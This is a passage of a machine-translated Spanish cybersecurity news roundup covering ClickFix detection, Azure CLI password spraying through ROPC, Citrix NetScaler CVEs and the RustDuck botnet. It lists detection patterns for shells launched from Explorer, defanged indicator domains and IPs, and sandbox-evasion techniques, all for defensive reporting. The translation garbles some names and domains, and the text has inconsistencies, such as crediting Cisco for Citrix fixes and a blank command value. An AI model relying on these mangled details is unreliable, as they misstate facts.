ClickFix dejó de ser una herramienta exclusiva para delincuentes hace un tiempo. Punto de prueba vincularon a grupos respaldados por estados de Rusia, Irán y Corea del Norte, incluidos APT28, MuddyWater y Kimsuky, a campañas que colocaron a ClickFix en sus cadenas de infección existentes, y equipos norcoreanos crearon una versión de «entrevista ClickFake» de trabajo falso para afectar a los trabajadores de criptomonedas.

Ciberseguridad

El truco ha generado parientes nombrados como FileFix y DescargarReparar que se apoyan en otras herramientas confiables de Windows. La escala tampoco es teórica: la empresa de seguridad Expel encontró una ola de ClearFake que probablemente infectó hasta 147.521 sistemas desde finales de agosto de 2025.

Lo que los defensores deberían mirar

La lección defensiva no ha cambiado. Los detalles tienen. Las señales confiables son cadenas de procesos, no texto del portapapeles: explorador.exe o WindowsTerminal.exe lanzamiento powershell.exe, cmd.exeo msiexec.exe y comunicarse con la red inmediatamente después.

Esos fueron los lanzadores más comunes en los datos de Pals, con PowerShell y cmd empatados en aproximadamente un 39% cada uno y msiexec muy cerca con un 34%.

El EDR de comportamiento, las reglas de control de aplicaciones que limitan qué programas pueden llamar a intérpretes de secuencias de comandos y la guía sencilla para el usuario («nunca pegue un comando que le dijeron que ejecutara en el cuadro Ejecutar o en una terminal») todavía se mantienen. El método de la carpeta de Descargas agrega una cosa más para buscar: una frase de apariencia inocente que toca la carpeta de Descargas y luego genera un PowerShell oculto.

Pals también enumeró tres servidores de carga útil vistos durante la investigación:

  • estrella cómica[.]latitud
  • bebé[.]cfd
  • merkantalolol[.]Asia

Una conexión con uno de estos no prueba infección. Significa que lo más probable es que un comando haya sido colocado en el portapapeles de alguien.

El veredicto de Pals sobre esta técnica es contundente: «ClickFix llegó para quedarse». El patrón en su investigación es que ClickFix cambia en el momento en que los defensores se ponen al día, y el paso de scripts únicos a servidores de carga útil bajo demanda es lo que hace que esa adaptación sea barata de repetir.

Lo siguiente que vale la pena observar es si el malware en sí, y no sólo su envoltorio, comienza a cambiar de una víctima a otra.

La pulverización de contraseñas de la CLI de Azure llega a al menos 78 cuentas de Microsoft en más de 81 millones de intentos – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han advertido sobre un «ataque masivo, continuo y automatizado de pulverización de contraseñas» dirigido a la interfaz de línea de comandos (CLI) de Azure de Microsoft, comprometiendo docenas de cuentas en el proceso.

La actividad, por Cazadorase origina en un rango de direcciones IPv6 (2a0a:d683::/32) controlado por el proveedor de infraestructura de Internet LSHIY LLC (AS32167).

«Entre el 12 y el 26 de junio, el actor de amenazas detrás de esto realizó más de 81 millones de intentos de inicio de sesión y comprometió con éxito al menos 78 cuentas de Microsoft en 64 organizaciones», dijo la compañía en un comunicado. «El objetivo de estos ataques parece basarse enteramente en la prevalencia de contraseñas en listas combinadas de contraseñas comprometidas, y no es específico del tipo de negocio o industria».

Lo que hace que el ataque de pulverización de contraseñas sea digno de mención no es solo la escala, sino también el hecho de que muchas de las organizaciones comprometidas tenían habilitadas políticas de acceso condicional. Específicamente, se descubrió que la campaña aprovecha un flujo OAuth obsoleto llamado Credenciales de contraseña del propietario de recursos (ROPC) para eludir las protecciones de la Política de acceso condicional (CAP).

ROPC es un tipo de concesión de OAuth 2.0 heredado en el que un usuario proporciona directamente su nombre de usuario y contraseña a una aplicación cliente, que luego envía estas credenciales a un servidor de autorización para intercambiarlas por un token de acceso. Quedó obsoleto en OAuth 2.1.

Ciberseguridad

En su documentación, Microsoft recomienda a los clientes que no utilicen ROPC, argumentando que es incompatible con la autenticación multifactor (MFA).

«En la mayoría de los escenarios, hay alternativas más seguras disponibles y recomendadas», afirma el gigante tecnológico. dice. «Este flujo requiere un grado muy alto de confianza en la aplicación y conlleva riesgos que no están presentes en otros flujos. Sólo debe utilizar este flujo cuando no sean viables flujos más seguros».

Se dice que los ataques de pulverización de credenciales y tokens dieron como resultado un puñado de inicios de sesión exitosos por día entre el 12 y el 21 de junio de 2026, con un promedio de dos a cuatro cuentas comprometidas diariamente, con la excepción del 19 de junio, cuando 12 cuentas de usuario (también conocidas como identidades) fueron comprometidas. La cadencia constante cambió el 22 de junio, con 30 identidades en 23 empresas afectadas.

En total, 78 cuentas de usuarios se vieron comprometidas en 64 organizaciones como parte de la campaña. La gran mayoría de la actividad de pulverización de contraseñas provino de LSHIY LLC. Algunas de las direcciones IP se resuelven en EE. UU., mientras que otras se resuelven en China.

«Estos ataques son parte de una gran ola de ataques de pulverización de credenciales en algunos ASN diferentes», dijo Huntress, y agregó que ha sido testigo de un aumento de más de 155 veces en el volumen de ataques de pulverización de credenciales en toda su base de clientes. «Los ataques aumentaron en particular desde finales de mayo hasta principios de junio, con un valor medio actual de alrededor de 1.964 ataques fallidos por mes por inquilino protegido por Huntress».

La actividad parece utilizar específicamente como arma antiguas combinaciones de nombre de usuario y contraseña que fueron violadas previamente pero que nunca se rotaron. El uso del vector ROPC significó que los atacantes pudieron apuntar a empresas que habían implementado MFA, pero no se aplicó ni se configuró para tener en cuenta los inicios de sesión ROPC de la CLI de Azure.

Esto incluyó escenarios en los que no se activó MFA:

  • Aplicar MFA solo para aplicaciones específicas, a diferencia de «Todas las aplicaciones en la nube», por lo que no se cubren los inicios de sesión de la CLI de Azure utilizados por los actores de amenazas.
  • Aplicar MFA solo para grupos de usuarios específicos, como administradores
  • Aplicar MFA solo cuando las solicitudes se originan en ubicaciones que no son de confianza
Ciberseguridad

«Vale la pena señalar que ocho empresas afectadas por la campaña no tenían ninguna política de MFA», dijo Huntress. «Si bien los actores de amenazas en esta campaña pudieron ingresar a pesar de que se configuró MFA, la conclusión no debería ser que MFA no funcione en absoluto; en cambio, las organizaciones deben asegurarse de que sus políticas de MFA estén configuradas adecuadamente para abordar el flujo de autorización utilizado en estos incidentes».

Para contrarrestar esta línea de ataque, se recomienda a las organizaciones exigir MFA para todos los usuarios, todas las aplicaciones en la nube y todos los tipos de aplicaciones cliente al habilitar CAP, restringir la aplicación CLI de Azure para usuarios que no sean administradores y priorizar la respuesta según la validez de las credenciales.

«Este ataque revela grietas en los CAP que no se han configurado adecuadamente», concluyeron los investigadores de Huntress. «Todavía existen debilidades potenciales en la forma en que se implementan los CAP que pueden permitir que los actores de amenazas se escapen. Un error flagrante aquí es que los protocolos heredados como ROPC pueden eludir por completo algunos CAP mal configurados, ya que no pasan por el punto final de autorización donde se aplican las políticas».

Citrix parchea seis fallas de NetScaler que permiten la lectura de archivos y la denegación de servicio – CYBERDEFENSA.MX

Citrix el martes liberado actualizaciones de seguridad para abordar múltiples fallas en NetScaler ADC (anteriormente Citrix ADC) y NetScaler Gateway (anteriormente Citrix Gateway) que podrían ser explotadas por un atacante para facilitar lecturas arbitrarias de archivos o desencadenar una condición de denegación de servicio (DoS).

Las vulnerabilidades se enumeran a continuación:

  • CVE-2026-8451 (Puntuación CVSS: 8,8): una vulnerabilidad de validación de entrada insuficiente que provoca una sobrelectura de la memoria cuando NetScaler ADC o NetScaler Gateway están configurados como un IDP de SAML.
  • CVE-2026-8452 (Puntuación CVSS: 8,8): una vulnerabilidad de desbordamiento de memoria que provoca un comportamiento impredecible o erróneo y una denegación de servicio cuando el dispositivo está configurado como puerta de enlace o servidor virtual AAA.
  • CVE-2026-8655 (Puntuación CVSS: 8,8): múltiples vulnerabilidades de desbordamiento de memoria que provocan un comportamiento impredecible o erróneo y denegación de servicio cuando NetScaler ADC está configurado como un LB de tipo Oracle, un proxy DNS o una implementación de resolución recursiva de DNS.
  • CVE-2026-10816 (Puntuación CVSS: 7,7): un control externo del nombre del archivo de la vulnerabilidad de la ruta que conduce a una lectura de archivos arbitraria y no autenticada cuando el acceso a NSIP, IP de administración de clústeres o SNIP con acceso de administración está habilitado
  • CVE-2026-10817 (Puntuación CVSS: 6,9): una vulnerabilidad de validación de entrada insuficiente que provoca una sobrelectura de la memoria cuando TCP TimeStamp está habilitado en el perfil TCP y asociado con el servidor virtual (de tipo LB, CS, VPN) o el servicio configurado en NetScaler.
  • CVE-2026-13474 (Puntuación CVSS: 8,7): falta de liberación de memoria después de una vulnerabilidad de por vida efectiva que conduce a una denegación de servicio a través de solicitudes HTTP/2 con formato incorrecto cuando HTTP/2 está habilitado en el perfil HTTP y asociado con el servidor virtual (de tipo LB, CS, VPN) o el servicio configurado en NetScaler.
Ciberseguridad

Se han publicado parches para los defectos de seguridad en las siguientes versiones:

  • NetScaler ADC y NetScaler Gateway 14.1-72.61 y versiones posteriores
  • NetScaler ADC y NetScaler Gateway 13.1-63.18 y versiones posteriores de 13.1
  • NetScaler ADC 14.1-FIPS 14.1-72.61 FIPS y versiones posteriores de 14.1-FIPS
  • NetScaler ADC 13.1-FIPS y 13.1-NDcPP 13.1.37.272 y versiones posteriores de 13.1-FIPS y 13.1-NDcPP

En cuanto a CVE-2026-13474, también se recomienda a los clientes que actualicen sus configuraciones modificando el parámetro Http2SmallWndTimeout, que controla el tiempo de espera (en segundos) para transmisiones detenidas en ventanas pequeñas de HTTP/2.

  • Para dispositivos que utilizan perfiles HTTP estrictos, este parámetro tiene un valor predeterminado de 30 segundos. La solución entra en vigor inmediatamente después de la actualización.
  • Para los dispositivos que NO utilizan perfiles HTTP estrictos, el valor predeterminado es 0. En este caso, simplemente actualizar a las compilaciones que contienen la solución no solucionará la vulnerabilidad por completo. Los clientes deben configurar manualmente Http2SmallWndTimeout en 30 segundos.

El comando para configurar este parámetro se encuentra a continuación:

set ns httpProfile  -http2SmallWndTimeout 

Cisco le dio crédito a Michael Tucker del equipo XOR en JPMorgan Chase, a Aliz Hammond de watchTowr y a Maxim Suhanov por informar sobre las vulnerabilidades. No hay evidencia de que los problemas hayan sido explotados en la naturaleza.

watchTowr Labs, en un artículo técnico publicado junto con el boletín de Citrix, dijo que CVE-2026-8451 fue descubierto e informado a finales de marzo de 2026 después de intentos de reproducirlo. CVE-2026-3055 (puntuación CVSS: 9,3), una falla separada de validación de entrada insuficiente que se reveló a principios de este año.

Ciberseguridad

La compañía de ciberseguridad dijo que la vulnerabilidad se debe a cómo NetScaler analiza las solicitudes de autenticación SAML y comparte la misma causa raíz que la falla de marzo de 2026, lo que resulta en lecturas de memoria fuera de los límites al enviar solicitudes SAML con formato incorrecto.

«Una cosa queremos señalar: a diferencia del CVE-2026-3055 original, en el que se pueden filtrar kilobytes de datos binarios, esta sobrelectura finalizará la lectura fuera de límites cuando se lean varios caracteres de control, como NULL (o incluso >)», afirma el investigador de seguridad Hammond. dicho. «En la práctica, descubrimos que al variar la longitud de la solicitud, podíamos extraer constantemente algunos bytes del servidor».

«Sin embargo, lo que debería ser motivo de preocupación es el panorama más amplio: la tendencia, que sugiere muy claramente que la gestión de la memoria sigue pareciendo frágil dentro de los dispositivos Citrix NetScaler, hasta el punto de que incluso una mala configuración accidental de un dispositivo puede llevar a la revelación de memoria perdida».

En los últimos años, los dispositivos Citrix han sido un objetivo de ataque lucrativo, con múltiples fallas en su software explotadas por actores de amenazas para la implementación de ransomware en el pasado, lo que hace crucial que los usuarios apliquen los parches para una protección óptima.

RustDuck Botnet se reconstruye en Rust para secuestrar enrutadores y servidores para DDoS – CYBERDEFENSA.MX

Una nueva familia de malware de dos etapas llamada Pato óxido está secuestrando enrutadores domésticos, cámaras IP, dispositivos Android y servidores mal protegidos, para luego unirlos en una red creada para desconectar sitios web y servicios en línea.

Los investigadores del XLab de QiAnXin lo han rastreado desde febrero de 2026 y dicen que la verdadera historia no es qué tan grande es hoy, sino qué tan rápido está cambiando.

El objetivo final es un ataque distribuido de denegación de servicio (DDoS): inundar un objetivo con tráfico basura desde las máquinas infectadas hasta que colapse.

RustDuck es un participante más en un campo abarrotado, pero se destaca por dos razones. Se está reescribiendo del lenguaje de programación C a Rust, y sus versiones más nuevas hacen todo lo posible para evitar ser estudiadas o cerradas.

como se propaga

RustDuck no se apoya en ningún truco inteligente. Esparce una mezcla de viejas y conocidas debilidades y esperanzas de que una se mantenga. El primero es el más antiguo del libro: dispositivos abandonados en Internet con contraseñas débiles o predeterminadas en sus servicios de inicio de sesión remoto (Telnet y SSH). Adivina la contraseña y entra.

Ciberseguridad

El segundo son los errores de dispositivos sin parchear. Laboratorio XL dice RustDuck persigue interfaces de depuración de Android expuestas y fallas en equipos de TVT (DVR y cámaras), Ruijie, TP-Link y ZTE, además de un puñado de vulnerabilidades nombradas con años de antigüedad que aún llenan Internet:

El tercer camino es el software web. RustDuck también apunta a agujeros conocidos en ThinkPHP, Jenkins y Hadoop YARN, que extiende su alcance desde hardware doméstico barato hasta software de servidor expuesto.

XLab contó más de 20 direcciones de Internet que propagaban el malware, siendo la más ocupada 176.65.139[.]204.

¿Qué lo hace complicado?

RustDuck se instala en dos etapas: un pequeño cargador que descifra y descomprime un módulo central más pesado. Ese núcleo es donde vive la ingeniería interesante y es la parte que se está reescribiendo en Rust.

Los binarios de Rust son generalmente más difíciles de desarmar para los analistas que el C que ha impulsado el malware de dispositivos durante años, y XLab dice que el núcleo Rust de RustDuck muestra una profundidad real en cómo deriva sus claves, se oculta del análisis y se comunica con sus servidores. El cambio apunta a un desarrollo activo, no a una rápida renovación del código filtrado.

Lo más importante es lo duro que trabajan las muestras más nuevas para permanecer ocultas. Antes de hacer cualquier cosa, RustDuck ejecuta una lista de verificación para decidir si ha aterrizado en el laboratorio de un investigador de seguridad en lugar de en el dispositivo de una víctima real. Busca herramientas de análisis como Wireshark y gdb, depuradores adjuntos a su propio proceso, huellas dactilares de una trampa de honeypot, incluso hardware de máquina virtual.

Cada golpe suma puntos a una puntuación de riesgo. Cruza un umbral y el malware borra sus rastros y se cierra antes de que alguien pueda verlo ejecutarse.

Destacan dos de esos controles. Uno intenta silenciosamente llegar a una dirección de Internet que está reservada para pruebas y nunca debería responder; Si algo responde, RustDuck sabe que está dentro de una red falsa creada para engañar al malware y se retira.

Otro compara dos relojes para detectar zonas de pruebas que aceleran el tiempo para acelerar el malware y hacer que muestre su mano.

Sus comunicaciones están bloqueadas para coincidir. RustDuck cifra su tráfico con cifrados modernos: ChaCha20-Poly1305 para el protocolo de enlace, AES-GCM una vez que esté recibiendo comandos. Obtiene sus claves con HKDF-SHA256 y un intercambio Curve25519, las rota cada diez minutos y viste la conexión para que parezca tráfico web cifrado normal para que se mezcle.

Una vez que un dispositivo se registra, los operadores pueden enviar una breve lista de órdenes: iniciar un ataque, detenerlo, informar el estado, cambiar a nuevos servidores de control o actualizar silenciosamente el malware a una versión más nueva. Las direcciones de control se basan en servicios gratuitos de DNS dinámico como duckdns.org, de donde proviene el «Duck» en el nombre.

Esto se ajusta a un patrón más grande.

RustDuck no es la primera botnet que recurre a Rust. En abril de 2025, Fortinet documentó RustoBotuna botnet basada en Rust que se propagó a través de Totolink y otros enrutadores para ejecutar ataques DDoS, usando la misma receta: enrutadores baratos, un lenguaje moderno y tráfico inundado a pedido.

Ciberseguridad

Llega además en un año brutal para los DDoS. El mismo tipo de botnet, ampliado, ha producido las mayores inundaciones jamás registradas. AISURU y un grupo de botnets relacionados, más de tres millones de dispositivos secuestrados entre ellos, impulsaron ataques de cerca de 30 Tbps antes de que una operación liderada por Estados Unidos derribara su infraestructura esta primavera. Además de eso, RustDuck es pequeño. La preocupación es la dirección en la que se dirige.

Un detalle que merece una segunda mirada: la dirección de entrega más transitada de RustDuck, 176.65.139[.]204, se encuentra en el mismo pequeño bloque de direcciones que el servidor detrás de una botnet DDoS separada dirigida a ADB reportada en la primavera de 2026. Eso podría ser una coincidencia o un alojamiento compartido a prueba de balas, y XLab no vincula los dos, pero la superposición es el tipo de cosas que vale la pena verificar.

que hacer

No existe ningún parche para RustDuck en sí, porque es malware, ni un solo error. Defensa significa cerrar las puertas por las que pasa:

  • Obtenga interfaces de administración remota fuera de la Internet pública. Desactive Android Debug Bridge, Telnet y SSH cuando no sean necesarios y nunca los deje accesibles con contraseñas predeterminadas.
  • Parchea lo que puedas, reemplaza lo que no puedas. CouchDB tiene versiones fijas para actualizar, pero algunos de estos enrutadores ya no están disponibles. Para el D-Link DIR-823X, el consejo de CISA es retirarlo del servicio en lugar de esperar a que llegue un parche que no llega, y el fabricante de Totolink nunca respondió a la divulgación. El equipo sin soporte debe reemplazarse, no repararse.
  • Bloquea los indicadores conocidos. El informe de XLab enumera los hashes de archivos, los dominios de control y las direcciones de origen del malware; introdúzcalos en su seguimiento.

RustDuck es una pequeña botnet que tiene la ingeniería de una red seria. Ya sea que se convierta en una amenaza real o desaparezca, las técnicas que está probando, una reescritura de Rust y una rutina paranoica de esconderse de los investigadores, son las partes que es más probable que tomen prestadas otras tripulaciones.